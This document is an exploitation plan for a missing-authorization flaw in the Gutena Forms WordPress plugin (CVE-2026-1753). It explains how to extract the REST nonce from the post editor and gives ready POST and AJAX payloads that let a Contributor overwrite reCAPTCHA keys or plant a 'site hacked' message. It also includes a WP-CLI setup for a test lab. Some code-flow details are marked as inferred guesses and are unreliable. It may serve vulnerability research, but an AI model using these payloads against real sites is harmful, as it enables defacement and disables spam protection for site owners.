Exploitation Research Plan: Gutena Forms Missing Authorization (CVE-2026-1753)

1. Vulnerability Summary

The Gutena Forms plugin for WordPress is vulnerable to unauthorized settings updates due to missing capability checks in its administrative interfaces. Specifically, in versions prior to 1.6.1, certain functions responsible for updating global plugin settings (such as reCAPTCHA keys, Turnstile settings, and global form messages) are accessible to any authenticated user with Contributor-level permissions or higher. This occurs because the permission check (likely in the REST API or AJAX handlers) uses a weak capability like edit_posts instead of manage_options.

2. Attack Vector Analysis

• Endpoint: WordPress REST API endpoint /wp-json/gutena-forms/v1/settings.
• Method: POST
• Authentication: Authenticated (Contributor+)
• Vulnerable Parameter: The request body (JSON) containing settings keys to be updated.
• Payload: A JSON object overwriting sensitive global options such as gutena_forms_grecaptcha or gutena_forms_turnstile.
• Preconditions:
  • The plugin version must be < 1.6.1.
  • An attacker must have credentials for a user with the Contributor role.

3. Code Flow

1. Entry Point: The plugin initializes its REST API in gutena-forms.php by including includes/rest-api/class-rest-api.php.
2. Registration: Inside class-rest-api.php (referenced in includes/rest-api/class-rest-api.php), a route is registered: register_rest_route('gutena-forms/v1', '/settings', ...).
3. Weak Check: The permission_callback for this route incorrectly uses current_user_can('edit_posts') or lacks a check entirely, allowing any user who can edit posts (Contributors and above) to pass the authorization phase.
4. Execution: The callback function (e.g., update_settings) receives the JSON payload and calls update_option() for keys like gutena_forms_grecaptcha without further verification.
5. Sink: update_option() in the WordPress database.

4. Nonce Acquisition Strategy

The WordPress REST API requires a standard wp_rest nonce for POST requests from authenticated users.

1. Access Admin Context: Even if a Contributor cannot see the Gutena Forms menu, they can access the standard post editor.
2. Navigate: Use the browser to navigate to /wp-admin/post-new.php.
3. Extract Nonce: The standard WordPress REST API nonce is stored in the window.wpApiSettings.nonce variable.
4. JavaScript Tool:

   browser_eval("window.wpApiSettings.nonce")
   

5. Alternative: If the plugin enqueues its own settings scripts, check window.gutena_forms_admin?.nonce (inferred).

5. Exploitation Strategy

Step 1: Authentication

Login as a user with the Contributor role.

Step 2: Nonce Extraction

Navigate to the post editor and extract the REST nonce.

• URL: /wp-admin/post-new.php
• Action: Extract window.wpApiSettings.nonce.

Step 3: Malicious Settings Update

Send a POST request to the REST API to update the reCAPTCHA settings.

• URL: /wp-json/gutena-forms/v1/settings
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  {
    "gutena_forms_grecaptcha": {
      "site_key": "PWNED_SITE_KEY",
      "secret_key": "PWNED_SECRET_KEY",
      "enabled": "1"
    }
  }
  

Step 4: Verification

Confirm the setting was updated using WP-CLI.

6. Test Data Setup

1. Target Version: Ensure Gutena Forms v1.6.0 is installed.
2. User Creation: Create a Contributor user:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Optional: Initialize the default settings if they don't exist:

   wp option add gutena_forms_grecaptcha '{"site_key": "original", "secret_key": "original"}' --format=json
   

7. Expected Results

• The REST API should return a 200 OK or 201 Created response.
• The response body should confirm the settings were updated.
• The global gutena_forms_grecaptcha option in the database should now contain the attacker's values.

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the change:

wp option get gutena_forms_grecaptcha --format=json

Success Condition: The output shows "site_key": "PWNED_SITE_KEY".

9. Alternative Approaches

If the REST API route is different or disabled, check for an AJAX handler:

• Action: wp_ajax_gutena_forms_save_settings (inferred).
• Endpoint: /wp-admin/admin-ajax.php.
• Parameters: action=gutena_forms_save_settings&security=[NONCE]&settings[gutena_forms_grecaptcha][site_key]=PWNED.
• Nonce Source: Search page source for gutena_forms_admin localization in wp-admin/admin.php?page=gutena-forms (if accessible) or via block editor settings.

Another target option for verification:

• Option Name: gutena_forms_messages
• Payload: {"gutena_forms_messages": {"success": "Your site has been hacked!"}}